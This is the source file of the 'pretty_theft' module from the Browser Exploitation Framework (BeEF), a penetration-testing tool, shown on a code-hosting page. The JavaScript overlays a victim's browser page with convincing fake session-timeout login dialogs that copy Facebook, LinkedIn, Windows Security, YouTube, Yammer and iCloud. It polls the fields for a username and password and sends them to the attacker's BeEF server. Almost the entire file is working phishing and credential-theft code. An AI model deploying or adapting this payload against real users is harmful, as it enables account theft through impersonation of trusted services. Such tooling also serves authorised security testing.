Path: blob/master/modules/social_engineering/pretty_theft/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78imgr = "<%== @imgsauce %>";9var answer= '';10// set up darkening11function grayOut(vis, options) {12// Pass true to gray out screen, false to ungray13// options are optional. This is a JSON object with the following (optional) properties14// opacity:0-100 // Lower number = less grayout higher = more of a blackout15// zindex: # // HTML elements with a higher zindex appear on top of the gray out16// bgcolor: (#xxxxxx) // Standard RGB Hex color code17// grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'});18// Because options is JSON opacity/zindex/bgcolor are all optional and can appear19// in any order. Pass only the properties you need to set.20var options = options || {};21var zindex = options.zindex || 50;22var opacity = options.opacity || 70;23var opaque = (opacity / 100);24var bgcolor = options.bgcolor || '#000000';25var dark=document.getElementById('darkenScreenObject');26if (!dark) {27// The dark layer doesn't exist, it's never been created. So we'll28// create it here and apply some basic styles.29// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/92791730var tbody = document.getElementsByTagName("body")[0];31var tnode = document.createElement('div'); // Create the layer.32tnode.style.position='absolute'; // Position absolutely33tnode.style.top='0px'; // In the top34tnode.style.left='0px'; // Left corner of the page35tnode.style.overflow='hidden'; // Try to avoid making scroll bars36tnode.style.display='none'; // Start out Hidden37tnode.id='darkenScreenObject'; // Name it so we can find it later38tbody.appendChild(tnode); // Add it to the web page39dark=document.getElementById('darkenScreenObject'); // Get the object.40}41if (vis) {42// Calculate the page width and height43//if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {44// var pageWidth = document.body.scrollWidth+'px';45// var pageHeight = document.body.scrollHeight+'px';46//} else if( document.body.offsetWidth ) {47// var pageWidth = document.body.offsetWidth+'px';48// var pageHeight = document.body.offsetHeight+'px';49//} else {5051// Previous lines were not rendering page background correctly52var pageWidth='100%';53var pageHeight='100%';54//}55//set the shader to cover the entire page and make it visible.56dark.style.opacity=opaque;57dark.style.MozOpacity=opaque;58dark.style.filter='alpha(opacity='+opacity+')';59dark.style.zIndex=zindex;60dark.style.backgroundColor=bgcolor;61dark.style.width= pageWidth;62dark.style.height= pageHeight;63dark.style.display='block';64} else {65dark.style.display='none';66}67}6869// CURRENTLY NOT USED70// Send done prompt to user71function win(){72document.getElementById('popup').innerHtml='<h2>Thank you for re-authenticating, you will now be returned to the application</h2>';73answer = document.getElementById('uname').value+':'+document.getElementById('pass').value;74}757677// Check whether the user has entered a user/pass and pressed ok78function checker(){79uname1 = document.getElementById("uname").value;80pass1 = document.getElementById("pass").value;81valcheck = document.getElementById("buttonpress").value;8283if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") {84// Join user/pass and send to attacker85answer = uname1+":"+pass186beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);87// Set lastchild invisible88document.body.lastChild.setAttribute('style','display:none');89clearInterval(credgrabber);90// Lighten screen91grayOut(false);92$j('#popup').remove();93$j('#darkenScreenObject').remove();9495} else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true") {96// If user has not entered any data, reset button97document.getElementById("buttonpress").value = "false";98alert("Please enter a valid username and password.");99}100}101102103// Facebook floating div104function facebook() {105106sneakydiv = document.createElement('div');107sneakydiv.setAttribute('id', 'popup');108sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');109document.body.appendChild(sneakydiv);110111// Set appearance using styles, maybe cleaner way to do this with CSS block?112var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"';113var windowmain = 'style="border:1px #555 solid;"';114var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 30px;"';115var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';116var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';117var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"';118var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);"';119var buttonstyle = 'style="font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';120121var title = 'Facebook Session Timed Out';122var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';123var buttonLabel = '<input type="button" name="ok" value="Log in" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';124125// Build page including styles126sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Email: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';127128// Repeatedly check if button has been pressed129credgrabber = setInterval(checker,1000);130}131132133// Linkedin floating div134function linkedin() {135136sneakydiv = document.createElement('div');137sneakydiv.setAttribute('id', 'popup');138sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');139document.body.appendChild(sneakydiv);140141// Set appearance using styles, maybe cleaner way to do this with CSS block?142var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';143var windowmain = 'style="border:1px #555 solid;"';144var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';145146//-moz-box-shadow: 0 1px 4px #ccc;-webkit-box-shadow: 0 1px 4px #CCC;-o-box-shadow: 0 1px 4px #ccc;box-shadow: 0 1px 4px #CCC;147148var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';149var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';150var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';151var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';152var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';153var lilogo = 'https://static.licdn.com/sc/h/95o6rrc5ws6mlw6wqzy0xgj7y';154var title = 'Session Timed Out <img src="' + lilogo + '" align=right height=20 width=70 alt="LinkedIn">';155var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';156var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';157158// Build page including styles159sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Email: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';160161// Repeatedly check if button has been pressed162credgrabber = setInterval(checker,1000);163}164165// Windows floating div166function windows() {167sneakydiv = document.createElement('div');168sneakydiv.setAttribute('id', 'popup');169sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;');170document.body.appendChild(sneakydiv);171172// Set appearance using styles, maybe cleaner way to do this with CSS block?173174// Set window border175var edgeborder = 'style="border:1px #000000 solid;border-radius:6px;"';176var windowborder = 'style="width:400px;border: 7px #CFE7FE solid;border-radius:6px;"';177178var windowmain = 'style="border:1px #000000 solid;"';179180var titlebarstyle = 'style="background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;"';181var titlebartext = 'Windows Security';182183var promptstyle = 'style="height:40px;"';184var titlestyle = 'style="align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;"';185var title = 'Enter Network Password';186var bodystyle = 'style="align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;"';187var body = 'Enter your password to connect to the server';188var dividestyle = 'style="border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;"';189190var tablestyle = 'style="background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px"';191var logobox = 'style="border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff"';192var logo = 'style="border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top, #EEF2F4, #CCD8DF);"';193194var inputboxstyle = 'style="width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;"';195196var credstextstyle = 'style="font-size:11px;font-family:Segoe UI;"';197198var buttonstyle = 'style="font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top, #ffffff, #CFCFCF);"';199var buttonLabel = '<input type="button" name="ok" value="OK" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';200201var bbarstyle = 'style="background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;"';202203// Build page including styles204sneakydiv.innerHTML= '<div id="edge" '+edgeborder+'><div id="window_container" '+windowborder+ '><div id="title_bar" ' +titlebarstyle+ '>' +titlebartext+ '</div><div id="windowmain" ' +windowmain+ '><div id="prompt" '+promptstyle+'><p><span ' +titlestyle+ '>' +title+ '</span><br/><span ' +bodystyle+ '>' + body + '</span></div><div id="divide" ' +dividestyle+ '></div></p><table ' +tablestyle+ '><tr><td rowspan="3" width=75px align="center"><div id="logobox" ' +logobox+ '><div id="logo" ' +logo+ '></div></div></td><td align="left"><input type="text" id="uname" placeholder="User name" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="left"><input type="password" id="pass" name="pass" placeholder="Password" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td><input type="checkbox"><span ' +credstextstyle+ '>Remember my credentials</span></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div></div>';205206// Repeatedly check if button has been pressed207credgrabber = setInterval(checker,1000);208}209210// YouTube floating div211function youtube() {212213sneakydiv = document.createElement('div');214sneakydiv.setAttribute('id', 'popup');215sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');216document.body.appendChild(sneakydiv);217218// Set appearance using styles, maybe cleaner way to do this with CSS block?219var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';220var windowmain = 'style="border:1px #555 solid;"';221var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';222var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';223var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';224var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';225var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';226var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';227var logo = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png';228var title = 'Session Timed Out <img src="' + logo + '" align=right height=20 width=70 alt="YouTube">';229var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';230var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';231232// Build page including styles233sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';234235// Repeatedly check if button has been pressed236credgrabber = setInterval(checker,1000);237238}239240// Yammer floating div241function yammer() {242243sneakydiv = document.createElement('div');244sneakydiv.setAttribute('id', 'popup');245sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');246document.body.appendChild(sneakydiv);247248// Set appearance using styles, maybe cleaner way to do this with CSS block?249var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';250var windowmain = 'style="border:1px #555 solid;"';251var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"';252var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';253var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';254var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';255var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';256var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';257var logo = 'https://www.yammer.com/favicon.ico';258var title = 'Session Timed Out <img src="' + logo + '" align=right height=24 width=24 alt="Yammer">';259var messagewords = 'Your Yammer session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';260var buttonLabel = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';261262// Build page including styles263sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';264265// Repeatedly check if button has been pressed266credgrabber = setInterval(checker,1000);267268}269270function ios() {271272/* start of Framework7 css273* Framework7 0.10.0274* Full Featured HTML Framework For Building iOS 7 Apps275*276* http://www.idangero.us/framework7277*278* Copyright 2014, Vladimir Kharlampidi279* The iDangero.us280* http://www.idangero.us/281*282* Licensed under MIT283*284* Released on: December 8, 2014285*/286var styles = ' * {' +287'font-family: Helvetica Neue,Helvetica,Arial,sans-serif;'+288'margin: 0;'+289'padding: 0;'+290'font-size: 14px;' +291'line-height: 1.4;' +292'-webkit-text-size-adjust: 100%;' +293'overflow: hidden;' +294'-webkit-tap-highlight-color: transparent; ' +295'-webkit-touch-callout: none; } ';296297styles += 'input { outline: 0; }';298styles += '.modal-overlay { ' +299'position: absolute; ' +300'left: 0; ' +301'top: 0; ' +302'width: 100%;' +303'height: 100%;' +304'background: rgba(0,0,0,.4);' +305' z-index: 10600;' +306' visibility: hidden;' +307'opacity: 0; ' +308'-webkit-transition-duration: 400ms;' +309'transition-duration: 400ms; } ';310311styles += '.modal-overlay.modal-overlay-visible { visibility: visible; opacity: 1;} ';312styles += '.modal { width: 270px; position: absolute; z-index: 11000; left: 50%; ' +313'margin-left: -135px; margin-top: 0; top: 50%; text-align: center; border-radius: 7px;' +314'opacity: 0; -webkit-transform: translate3d(0,0,0) scale(1.185); ' +315'transform: translate3d(0,0,0) scale(1.185); -webkit-transition-property: -webkit-transform,opacity;' +316'transition-property: transform,opacity; color: #000;}';317318styles += '.modal.modal-in {opacity: 1; -webkit-transition-duration: 400ms;transition-duration: 400ms;' +319'-webkit-transform: translate3d(0,0,0) scale(1); transform: translate3d(0,0,0) scale(1);}';320styles += '.modal-inner { padding: 15px;border-bottom: 1px solid #b5b5b5;border-radius: 7px 7px 0 0;' +321'background: #e8e8e8;}';322styles += '.modal-title { font-weight: 500; font-size: 18px;text-align: center}';323styles += '.modal-title + .modal-text {margin-top: 5px;}';324styles += '.modal-buttons { height: 44px; overflow: hidden;' +325'display: -webkit-box;' +326'display: -webkit-flex;' +327'display: flex;' +328'-webkit-box-pack: center;' +329'-webkit-justify-content: center;' +330'justify-content: center;}';331332styles += '.modal-button {' +333'width: 100%;' +334'padding: 0 5px;' +335'height: 44px;' +336'font-size: 17px;' +337'line-height: 44px;' +338'text-align: center;' +339'color: #007aff;' +340'background: #e8e8e8;' +341'display: block;' +342'position: relative;' +343'white-space: nowrap;' +344'text-overflow: ellipsis;'+345'overflow: hidden;'+346'cursor: pointer;'+347'-webkit-box-sizing: border-box;'+348'box-sizing: border-box;'+349'border-right: 1px solid #b5b5b5;'+350'-webkit-box-flex: 1;} ';351352styles += '.modal-button.modal-button-bold {font-weight: 500;} ';353styles += '.modal-button:first-child {border-radius:0 0 0 7px;} ';354styles += '.modal-button:last-child {'+355' border-radius: 0 0 7px 0;' +356' border-bottom: none; } ';357styles += "input.modal-text-input {" +358"-webkit-box-sizing: border-box;" +359"box-sizing: border-box;" +360"height: 30px;" +361"background: #fff;"+362"margin: 0;" +363"margin-top: 15px;" +364"padding: 0 5px;" +365"border: 1px solid #a0a0a0;" +366"border-radius: 5px;" +367"width: 100%;" +368"font-size: 14px;" +369"font-family: inherit;" +370"display: block;" +371"-webkit-box-shadow: 0 0 0 transparent;" +372"box-shadow: 0 0 0 transparent;" +373"-webkit-appearance: none;" +374"appearance: none; }";375styles += "input.modal-text-input.modal-text-input-double {" +376"border-radius: 5px 5px 0 0; }";377styles += "input.modal-text-input.modal-text-input-double+input.modal-text-input {"+378" margin-top: 0;" +379" border-top: 0;" +380" border-radius: 0 0 5px 5px; }";381/*end of Framework7 css*/382styles += "input[type=submit] { " +383" visibility: hidden;" +384" position: absolute;" +385" top: -999px; }";386387styles += "input[type=text],input[type=password] { " +388" font-size: 16px; }" ;389390styles += "#pass + div {"+391" display: block;"+392"position: absolute;"+393"top: -10px;"+394"left: -53px;"+395"width: 3000px;"+396"height: 3000px;"+397"background-color: white;"+398"z-index: 1;"+399"font-size: 14px;"+400"pointer-events: none;"+401"text-align: left; }";402403styles += '@media only screen ' +404'and (min-device-width : 768px)' +405'and (max-device-width : 1024px)' +406'and (orientation : landscape) {' +407'.modal.modal-in {' +408' opacity: 1;' +409'-webkit-transition-duration: 400ms;'+410'transition-duration: 400ms;'+411'-webkit-transform: translate3d(0,0,0) scale(0.9);'+412'transform: translate3d(0,0,0) scale(0.9);' +413'left: 200px;} ' +414' #pass + div { top: -23px; left: -87px;} }';415416styles +='@media only screen and (min-device-width : 768px)' +417'and (max-device-width : 1024px) and (orientation : portrait) {' +418'.modal.modal-in { opacity: 1; -webkit-transition-duration: 400ms;' +419'transition-duration: 400ms; -webkit-transform: translate3d(0,0,0) scale(0.8);'+420'transform: translate3d(0,0,0) scale(0.8);} ' +421'#pass + div {top: -39px;left: -305px;} }';422423styles += '#pass:focus + div {display: none;}';424425styleElement = $j(document.createElement('style')).text(styles);426title = $j(document.createElement('div'));427title.text('iCloud login');428title.addClass('modal-title');429430description = $j(document.createElement('div'));431description.addClass('modal-text');432description.text('Enter your Apple ID e-mail address and password');433434user = $j(document.createElement('input'));435user.addClass('modal-text-input').addClass('modal-text-input-double');436user.attr('name','modal-username');437user.attr('id','uname');438user.text('');439user.keydown(function(event) {440if(event.keyCode == 13) {441$j('#buttonpress').attr('value', 'true');442}443});444445password = $j(document.createElement('input'));446password.addClass('modal-text-input').addClass('mobile-text-input-double');447password.attr('autofocus','');448password.attr('id', "pass");449password.attr('name',"modal-password");450password.attr('placeholder',"Password");451password.attr('type', 'password');452password.keydown(function(event) {453if(event.keyCode == 13) {454$j('#buttonpress').attr('value', 'true');455}456});457458cancel = $j(document.createElement('span'));459cancel.addClass('modal-button');460cancel.text('Cancel');461462ok = $j(document.createElement('span'));463ok.addClass('modal-button').addClass('modal-button-bold');464okLabel = $j(document.createElement('label'));465okLabel.attr('for','submit');466okLabel.css('width', '100%');467okLabel.css('height', '100%');468okLabel.text('OK');469okLabel.click(function() {470$j('#buttonpress').attr('value','true');471});472okLabel.append(473$j(document.createElement('input'))474.attr('id', 'submit')475.attr('type','submit')476.attr('value','OK'),477$j(document.createElement('input'))478.attr('id','buttonpress')479.attr('type', 'hidden')480.attr('name','buttonpress')481.attr('value', 'false')482);483ok.append(okLabel);484485var buttons = $j(document.createElement('div'));486buttons.addClass('modal-buttons');487buttons.append(cancel, ok);488var inner = $j(document.createElement('div'));489inner.addClass('modal-inner');490inner.append(title, description, user,password);491uiContainer = $j(document.createElement('div'));492uiContainer.addClass('modal').addClass('modal-in');493uiContainer.css('top', '10px');494uiContainer.append(inner, buttons);495496sneakydiv = $j(document.createElement('div'));497sneakydiv.addClass('modal-overlay').addClass('modal-overlay-visible');498sneakydiv.attr('id','popup');499sneakydiv.append(styleElement, uiContainer);500$j('body').append(sneakydiv);501credgrabber = setInterval(checker, 1000);502}503504// Generic floating div with image505function generic() {506sneakydiv = document.createElement('div');507sneakydiv.setAttribute('id', 'popup');508sneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');509sneakydiv.setAttribute('align', 'center');510document.body.appendChild(sneakydiv);511sneakydiv.innerHTML= '<br><img src=\''+imgr+'\' width=\'80px\' height\'80px\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'uname\' id=\'uname\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"buttonpress\").value=\"true\";\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'pass\' id=\'pass\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"buttonpress\").value=\"true\";\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lul\' onClick=\'document.getElementById(\"buttonpress\").value=\"true\";\' value=\'Ok\'><br/><input type="hidden" id="buttonpress" name="buttonpress" value="false"/><br/>';512513// Repeatedly check if button has been pressed514credgrabber = setInterval(checker,1000);515516}517518// Set background opacity and apply background519var backcolor = "<%== @backing %>";520if(backcolor == "Grey"){521grayOut(true,{'opacity':'70'});522} else if(backcolor == "Clear"){523grayOut(true,{'opacity':'0'});524}525526// Retrieve the chosen div option from BeEF and display527var choice = "<%= @choice %>";528switch (choice) {529case "Facebook":530facebook(); break;531case "LinkedIn":532linkedin(); break;533case "Windows":534windows(); break;535case "YouTube":536youtube(); break;537case "Yammer":538yammer(); break;539case "IOS":540ios(); break;541default:542generic(); break;543}544545});546547548